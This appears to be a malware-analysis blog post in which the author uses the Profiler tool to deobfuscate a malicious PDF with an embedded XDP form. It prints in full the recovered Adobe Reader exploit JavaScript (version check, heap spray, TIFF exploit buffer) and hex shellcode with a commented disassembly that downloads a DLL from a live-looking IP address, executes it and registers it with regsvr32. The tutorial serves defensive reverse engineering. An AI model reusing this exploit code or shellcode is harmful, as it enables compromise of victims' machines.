PDF/XDP Malware Reversing

Recently version 2.6 of Profiler has been released and among the improvements support for XDP has been introduced. For those of you who are unfamiliar with XPD, here’s the Wikipedia description:

“XML Data Package (XDP) is an XML file format created by Adobe Systems in 2003. It is intended to be an XML-based companion to PDF. It allows PDF content and/or Adobe XML Forms Architecture (XFA) resources to be packaged within an XML container.

XDP is XML 1.0 compliant. The XDP may be a standalone document or it may in turn be carried inside a PDF document.

XDP provides a mechanism for packaging form components within a surrounding XML container. An XDP can also package a PDF file, along with XML form and template data. When the XFA (XML Forms Architecture) grammars used for an XFA form are moved from one application to another, they must be packaged as an XML Data Package.”

So I’ll use the occasion to show the reversing of a nice PDF with all the goodies. Let’s open the suspicious PDF.

The PDF is already heavily flagged by Profiler, as it contains many suspicious features.

If we take a look, just out of curiosity, at the object 8 of the PDF we will notice that the XDP data contains a bogus endstream keyword to fool the parsers of security solutions.

Profiler handles this correctly, so we don’t have to do anything, just worth mentioning.

Let’s take a look at the raw XDP data.

As you can see, it is completely unreadable because of the XML escaped characters. Even this is not really important for us, since the XML parser of Profiler handles this automatically, again just worth mentioning.

So let’s open directly the embedded XDP child and we can see a readable and nicely indented XML.

We can see that the XML contains JavaScript code, but Profiler already warns us of this. So let’s just click on the warning.

The code isn’t readable. So let’s select the JavaScript portion and then press Ctrl+R->Beautify JavaScript.

Much better, isn’t it?

The code is quite easy to understand although it’s obfuscated. It takes a value straight from the XDP, processes it and then calls eval on it.

This is the value it takes:

What we want is the result of the processing, before eval is called. So what I did is to modify slightly the JavaScript code like this:

ar = [HUGE STRING];
ar = ar.split('%%%');
s = Array();
cc = {
    q: "var pding;b,cefhots_x=wAy()l1'420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM"
}.q;
function test3()
{
    if (s) v = ar[z] * 1;
    s = s + cc[v + 24];
}
 
for (i = 0; i - 3794 < 0; i++)
{
    z = i;
    test3();
}
 
print(s);

I didn’t paste now the entire value in here as it was way too big, but I did so in the code edit:

At this point, we can just press Ctrl+R->Debug/Execute JavaScript and get the result of the execution.

We will get the following code:

var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = '4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3132392e3132312e3233312e3138382f646174612f486f6d652f772e7068703f663d313626653d340000';
var _l2 = '4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3132392e3132312e3233312e3138382f646174612f486f6d652f772e7068703f663d313626653d340000';
_l3 = app;
_l4 = new Array();
 
function _l5()
{
    var _l6 = _l3.viewerVersion.toString();
    _l6 = _l6.replace('.', '');
    while (_l6.length < 4) _l6 += '0';
    return parseInt(_l6, 10)
}
function _l7(_l8, _l9)
{
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(0, _l9 / 2)
}
function _I0(_I1)
{
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape('%u9090');
    spray = _l7(dakRote, 0x2000 - roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 524098);
    for (i = 0; i < 400; i++) _l4[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len)
{
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(0, len)
}
function _I3(_I1)
{
    ret = '';
    for (i = 0; i < _I1.length; i += 2)
    {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4)
{
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6++)
    {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6)
{
    _j0 = _I6.toString(16);
    _j1 = _j0.length;
    _I5 = (_j1 % 2) ? '0' + _j0 : _j0;
    return _I5
}
function _j2(_I1)
{
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6 += 2)
    {
        _I5 += '%u';
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function _j3()
{
    _j4 = _l5();
    if (_j4 < 9000)
    {
        _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _j6 = _l1;
        _j7 = _I3(_j6)
    }
    else
    {
        _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = 'SUkqADggAABB';
    _j9 = _I2('QUFB', 10984);
    _ll0 = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _ll1 = _j8 + _j9 + _ll0 + _j5;
    _ll2 = _ji1(_j7, '');
    if (_ll2.length % 2) _ll2 += unescape('%00');
    _ll3 = _j2(_ll2);
    with(
    {
        k: _ll3
    }) _I0(k);
    qwe123b.rawValue = _ll1
}
_j3();

What it does is basically to spray the heap using an array. It changes the payload based on the version of Adobe Reader. The version is retrieved by calling the _l5 function.

Now we could just examine the _l1 or _l2 payloads directly, but just to make sure I let the code generate a spray portion. So I changed the code accordingly and avoided to actually spray a lot of data.

var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = '4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3132392e3132312e3233312e3138382f646174612f486f6d652f772e7068703f663d313626653d340000';
var _l2 = '4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3132392e3132312e3233312e3138382f646174612f486f6d652f772e7068703f663d313626653d340000';
_l3 = this;
_l4 = new Array();
 
/*function _l5()
{
    var _l6 = _l3.viewerVersion.toString();
    _l6 = _l6.replace('.', '');
    while (_l6.length < 4) _l6 += '0';
    return parseInt(_l6, 10)
}*/
function _l7(_l8, _l9)
{
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(0, _l9 / 2)
}
function _I0(_I1)
{
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape('%u9090');
    spray = _l7(dakRote, 0x2000 - roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 0x2000);
    for (i = 0; i < 1; i++) _l4[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len)
{
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(0, len)
}
function _I3(_I1)
{
    ret = '';
    for (i = 0; i < _I1.length; i += 2)
    {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4)
{
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6++)
    {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6)
{
    _j0 = _I6.toString(16);
    _j1 = _j0.length;
    _I5 = (_j1 % 2) ? '0' + _j0 : _j0;
    return _I5
}
function _j2(_I1)
{
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6 += 2)
    {
        _I5 += '%u';
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function asciiToHex(str)
{
    var arr = [];
    for (var n = 0, l = str.length; n < l; n ++) 
    {
        var ch = str.charCodeAt(n);
        var hex = Number(ch & 0xFF).toString(16);
        if (hex.length < 2) hex = "0" + hex;
        arr.push(hex);
        hex = Number(ch >>> 8).toString(16);
        while (hex.length < 2) hex = "0" + hex;
        arr.push(hex);
    }
    return arr.join('');
}
function _j3()
{
    _j4 = 9000;
    if (_j4 < 9000)
    {
        _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _j6 = _l1;
        _j7 = _I3(_j6)
    }
    else
    {
        _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = 'SUkqADggAABB';
    _j9 = _I2('QUFB', 10984);
    _ll0 = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _ll1 = _j8 + _j9 + _ll0 + _j5;
    _ll2 = _ji1(_j7, '');
    if (_ll2.length % 2) _ll2 += unescape('%00');
    _ll3 = _j2(_ll2);
    with(
    {
        k: _ll3
    }) _I0(k);
    print(asciiToHex(_l4[0]));
}
_j3();

We can run this script in the JavaScript debugger (Ctrl+R->Debug JavaScript).

The final print will give us the payload in memory. We can copy the just the initial part, avoiding the padding. Let’s paste the string into a text editor in Profiler and then Ctrl+R->Hex string to bytes.

If we look at the payload, we can see that the beginning (the marked portion) looks like ROP code. So in order to avoid looking for the gadgets in memory, let’s skip the ROP as it most likely is only going to jump to the actual shellcode. Let’s assume that is the case and thus focus on the data which follows.

We can see a web address at the end of the data. So we could just assume that the shellcode downloads an executable and runs it. But just for the sake of completeness, let’s analyze it.

We can of course disassemble the shellcode by applying a filter to it (Ctrl+T->x86 disasm). But what we’ll do is to use a debugger via Ctrl+R->Shellcode to execute. This way we can quickly step through what it does.

Here’s the commented code:

00000000 66 83 E4 FC        and       sp, 0xfffc
00000004 FC                 cld       
00000005 85 E4              test      esp, esp
00000007 75 34              jne       0x3d
 
0000000A 5F                 pop       edi
0000000B 33 C0              xor       eax, eax
0000000D 64 8B 40 30        mov       eax, dword ptr fs:[eax + 0x30]
00000011 8B 40 0C           mov       eax, dword ptr [eax + 0xc]
00000014 8B 70 1C           mov       esi, dword ptr [eax + 0x1c]
00000017 56                 push      esi
00000018 8B 76 08           mov       esi, dword ptr [esi + 8]
0000001B 33 DB              xor       ebx, ebx
0000001D 66 8B 5E 3C        mov       bx, word ptr [esi + 0x3c]
00000021 03 74 33 2C        add       esi, dword ptr [ebx + esi + 0x2c]
00000025 81 EE 15 10 FF FF  sub       esi, 0xffff1015
0000002B B8 8B 40 30 C3     mov       eax, 0xc330408b
00000030 46                 inc       esi
00000031 39 06              cmp       dword ptr [esi], eax
00000033 75 FB              jne       0x30
00000035 87 34 24           xchg      dword ptr [esp], esi
00000038 85 E4              test      esp, esp
0000003A 75 51              jne       0x8d
 
0000003D EB 4C              jmp       0x8b
 
; resolve API
0000003F 51                 push      ecx
00000040 56                 push      esi
00000041 8B 75 3C           mov       esi, dword ptr [ebp + 0x3c]
00000044 8B 74 35 78        mov       esi, dword ptr [ebp + esi + 0x78]
00000048 03 F5              add       esi, ebp
0000004A 56                 push      esi
0000004B 8B 76 20           mov       esi, dword ptr [esi + 0x20]
0000004E 03 F5              add       esi, ebp
00000050 33 C9              xor       ecx, ecx
00000052 49                 dec       ecx
00000053 41                 inc       ecx
00000054 FC                 cld       
00000055 AD                 lodsd     eax, dword ptr [esi]
00000056 03 C5              add       eax, ebp
00000058 33 DB              xor       ebx, ebx
0000005A 0F BE 10           movsx     edx, byte ptr [eax]
0000005D 38 F2              cmp       dl, dh
0000005F 74 08              je        0x69
00000061 C1 CB 0D           ror       ebx, 0xd
00000064 03 DA              add       ebx, edx
00000066 40                 inc       eax
00000067 EB F1              jmp       0x5a
00000069 3B 1F              cmp       ebx, dword ptr [edi]
0000006B 75 E6              jne       0x53
0000006D 5E                 pop       esi
0000006E 8B 5E 24           mov       ebx, dword ptr [esi + 0x24]
00000071 03 DD              add       ebx, ebp
00000073 66 8B 0C 4B        mov       cx, word ptr [ebx + ecx*2]
00000077 8D 46 EC           lea       eax, dword ptr [esi - 0x14]
0000007A FF 54 24 0C        call      dword ptr [esp + 0xc]
0000007E 8B D8              mov       ebx, eax
00000080 03 DD              add       ebx, ebp
00000082 8B 04 8B           mov       eax, dword ptr [ebx + ecx*4]
00000085 03 C5              add       eax, ebp
00000087 AB                 stosd     dword ptr es:[edi], eax
00000088 5E                 pop       esi
00000089 59                 pop       ecx
0000008A C3                 ret       
 
0000008B EB 53              jmp       0xe0
 
0000008D AD                 lodsd     eax, dword ptr [esi]
0000008E 8B 68 20           mov       ebp, dword ptr [eax + 0x20]
00000091 80 7D 0C 33        cmp       byte ptr [ebp + 0xc], 0x33
00000095 74 03              je        0x9a
00000097 96                 xchg      eax, esi
00000098 EB F3              jmp       0x8d
0000009A 8B 68 08           mov       ebp, dword ptr [eax + 8]
0000009D 8B F7              mov       esi, edi
0000009F 6A 05              push      5
000000A1 59                 pop       ecx
000000A2 E8 98 FF FF FF     call      0x3f ; resolve API
000000A7 E2 F9              loop      0xa2 ; loops resolving the following APIs:
                                            ; LoadLibraryA
                                            ; WinExec
                                            ; TerminateThread
                                            ; GetTempPathA
                                            ; VirtualProtect
000000A9 E8 00 00 00 00     call      0xae
000000AE 58                 pop       eax
000000AF 50                 push      eax
000000B0 6A 40              push      0x40
000000B2 68 FF 00 00 00     push      0xff
000000B7 50                 push      eax
000000B8 83 C0 19           add       eax, 0x19
000000BB 50                 push      eax
000000BC 55                 push      ebp
000000BD 8B EC              mov       ebp, esp
000000BF 8B 5E 10           mov       ebx, dword ptr [esi + 0x10]
000000C2 83 C3 05           add       ebx, 5
000000C5 FF E3              jmp       ebx  ; calls VirtualProtect with stolen bytes
000000C7 68 6F 6E 00 00     push      0x6e6f
000000CC 68 75 72 6C 6D     push      0x6d6c7275 ; pushes URLMON string to stack
000000D1 54                 push      esp
000000D2 FF 16              call      dword ptr [esi] ; calls a gadget which calls LoadLibraryA and returns the URLMON base address
000000D4 83 C4 08           add       esp, 8
000000D7 8B E8              mov       ebp, eax
000000D9 E8 61 FF FF FF     call      0x3f ; resolves URLDownloadToFileA
000000DE EB 02              jmp       0xe2
 
000000E0 EB 72              jmp       0x154
 
000000E2 81 EC 04 01 00 00  sub       esp, 0x104
000000E8 8D 5C 24 0C        lea       ebx, dword ptr [esp + 0xc]
000000EC C7 04 24 72 65 67+ mov       dword ptr [esp], 0x73676572
000000F3 C7 44 24 04 76 72+ mov       dword ptr [esp + 4], 0x32337276
000000FB C7 44 24 08 20 2D+ mov       dword ptr [esp + 8], 0x20732d20 ; pushes "regsvr32 -s " to the stack
00000103 53                 push      ebx
00000104 68 F8 00 00 00     push      0xf8
00000109 FF 56 0C           call      dword ptr [esi + 0xc] ; call GetTempFilePathA
0000010C 8B E8              mov       ebp, eax
0000010E 33 C9              xor       ecx, ecx
00000110 51                 push      ecx
00000111 C7 44 1D 00 77 70+ mov       dword ptr [ebp + ebx], 0x74627077
00000119 C7 44 1D 05 2E 64+ mov       dword ptr [ebp + ebx + 5], 0x6c6c642e
00000121 C6 44 1D 09 00     mov       byte ptr [ebp + ebx + 9], 0 ; appends "wpbt0.dll" to the path
00000126 59                 pop       ecx
00000127 8A C1              mov       al, cl
00000129 04 30              add       al, 0x30
0000012B 88 44 1D 04        mov       byte ptr [ebp + ebx + 4], al
0000012F 41                 inc       ecx
00000130 51                 push      ecx
00000131 6A 00              push      0
00000133 6A 00              push      0
00000135 53                 push      ebx
00000136 57                 push      edi
00000137 6A 00              push      0
00000139 FF 56 14           call      dword ptr [esi + 0x14] ; calls URLDownloadToFileA with the created path with the URL: http://129.121.231.188/data/Home/w.php?f=16&e=4
0000013C 85 C0              test      eax, eax
0000013E 75 16              jne       0x156
00000140 6A 00              push      0
00000142 53                 push      ebx
00000143 FF 56 04           call      dword ptr [esi + 4] ; calls WinExec on the downloaded file
00000146 6A 00              push      0
00000148 83 EB 0C           sub       ebx, 0xc
0000014B 53                 push      ebx
0000014C FF 56 04           call      dword ptr [esi + 4] ; calls WinExec on "regsvr32 -s " followed by the downloaded file
0000014F 83 C3 0C           add       ebx, 0xc
00000152 EB 02              jmp       0x156
 
00000154 EB 13              jmp       0x169
 
00000156 47                 inc       edi
00000157 80 3F 00           cmp       byte ptr [edi], 0
0000015A 75 FA              jne       0x156
0000015C 47                 inc       edi
0000015D 80 3F 00           cmp       byte ptr [edi], 0
00000160 75 C4              jne       0x126
00000162 6A 00              push      0
00000164 6A FE              push      -2
00000166 FF 56 08           call      dword ptr [esi + 8] ; calls TerminateThread
 
00000169 E8 9C FE FF FF     call      0xa

So yes, in the end it just downloads the file from the address we’ve seen and tries to execute it, then tries to register it as a COM object. Some AV-evasion techniques are also present.

Cheers!

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